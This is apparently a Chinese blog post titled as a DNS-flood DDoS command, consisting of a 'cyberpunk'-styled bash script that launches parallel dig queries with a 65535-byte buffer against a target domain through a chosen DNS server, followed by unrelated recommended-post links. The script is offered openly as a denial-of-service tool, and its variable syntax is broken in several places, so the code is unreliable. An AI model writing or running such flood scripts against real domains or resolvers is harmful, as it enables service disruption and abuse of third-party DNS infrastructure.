dns形式的floodddos命令

#!/bin/bash

赛博朋克风格终端颜色定义

RED="\033[1;31m"

GREEN="\033[1;32m"

YELLOW="\033[1;33m"

BLUE="\033[1;34m"

MAGENTA="\033[1;35m"

CYAN="\033[1;36m"

RESET="\033[0m"

脚本参数配置 - 按需修改

TARGET_DOMAIN="example.com" # 目标域名

DNS_SERVER="8.8.8.8" # 指定DNS服务器(可选)

MAX_THREADS=15 # 并行线程数

MAX_BUFSIZE=65535 # UDP数据包最大尺寸(65535字节)

QUERY_TYPE="A" # DNS查询类型(A/AAAA/CNAME等)

赛博朋克风格启动横幅

clear

echo -e "{MAGENTA}============================================={RESET}"

echo -e "{CYAN} ██████╗ ██╗ ██╗██████╗ ███████╗{RESET}"

echo -e "{CYAN} ██╔══██╗██║ ██║██╔══██╗██╔════╝{RESET}"

echo -e "{CYAN} ██████╔╝██║ ██║██████╔╝█████╗ {RESET}"

echo -e "{CYAN} ██╔══██╗██║ ██║██╔══██╗██╔══╝ {RESET}"

echo -e "{CYAN} ██████╔╝╚██████╔╝██████╔╝███████╗{RESET}"

echo -e "{MAGENTA}============================================={RESET}"

echo -e "{YELLOW}\[+\] CYBER DIG BRUTE FORCE - MULTI THREAD MODE{RESET}"

echo -e "{YELLOW}\[+\] TARGET : {RED}{TARGET_DOMAIN}{RESET}"

echo -e "{YELLOW}\[+\] DNS SERVER: {RED}{DNS_SERVER}{RESET}"

echo -e "{YELLOW}\[+\] THREADS : {RED}{MAX_THREADS}{RESET}"

echo -e "{YELLOW}\[+\] BUFSIZE : {RED}{MAX_BUFSIZE} BYTES{RESET}"

echo -e "{MAGENTA}============================================={RESET}"

sleep 2

生成线程任务列表并执行多线程dig

seq $MAX_THREADS 生成1~15的序列,xargs -P 指定并行数

seq {MAX_THREADS} \| xargs -I {} -P {MAX_THREADS} bash -c '

子线程执行dig命令,-b 设置数据包大小,+short 简化输出

dig @{DNS_SERVER} {TARGET_DOMAIN} {QUERY_TYPE} +bufsize={MAX_BUFSIZE} +short

echo -e "{GREEN}\[THREAD 1] {BLUE}QUERY COMPLETE - BUFSIZE: {MAX_BUFSIZE}${RESET}"

' _ {}

脚本结束提示

echo -e "\n{MAGENTA}\[+\] ALL THREADS FINISHED - CYBER DIG MISSION COMPLETE{RESET}"

相关推荐
tedcloud1237 小时前
Wand-Enhancer 怎么搭建?开源 Wand 客户端增强与远程控制工具介绍
大数据·服务器·人工智能·开源·音视频
Emily156853598709 小时前
ABB CI867K01 3BSE043660R1
服务器·plc·dcs·abb·ci867k01·3bse043660r1·工控模块
考虑考虑9 小时前
docker compose环境变量替换
运维·后端·自动化运维
Java陈序员10 小时前
轻量运维面板!一款现代化的服务器控制面板工具!
运维·服务器·python·react.js·github
bosins10 小时前
WSL 迁移指南:如何将 Linux 环境完整复制到另一台电脑
linux·运维·服务器
IT利刃出鞘10 小时前
Docker Compose--安装WordPress--方法/示例
运维·docker·容器
企鹅的蚂蚁11 小时前
LubanCat RK3588 实时 Linux 开发(六):启用 gs_usb 驱动并完成 USB-CAN 收发
linux·rk3588·linux驱动·socketcan·gs_usb·usb-can
2601_9622998812 小时前
Linux执行Python脚本方法
linux·python·脚本·解释器·shebang
snow@li12 小时前
服务器运维:Linux命令速查手册(全景梳理)
linux·服务器·网络
handler0112 小时前
【Linux】线程与虚拟内存的底层世界
linux·运维·服务器·c++·线程·虚拟地址空间·共享内存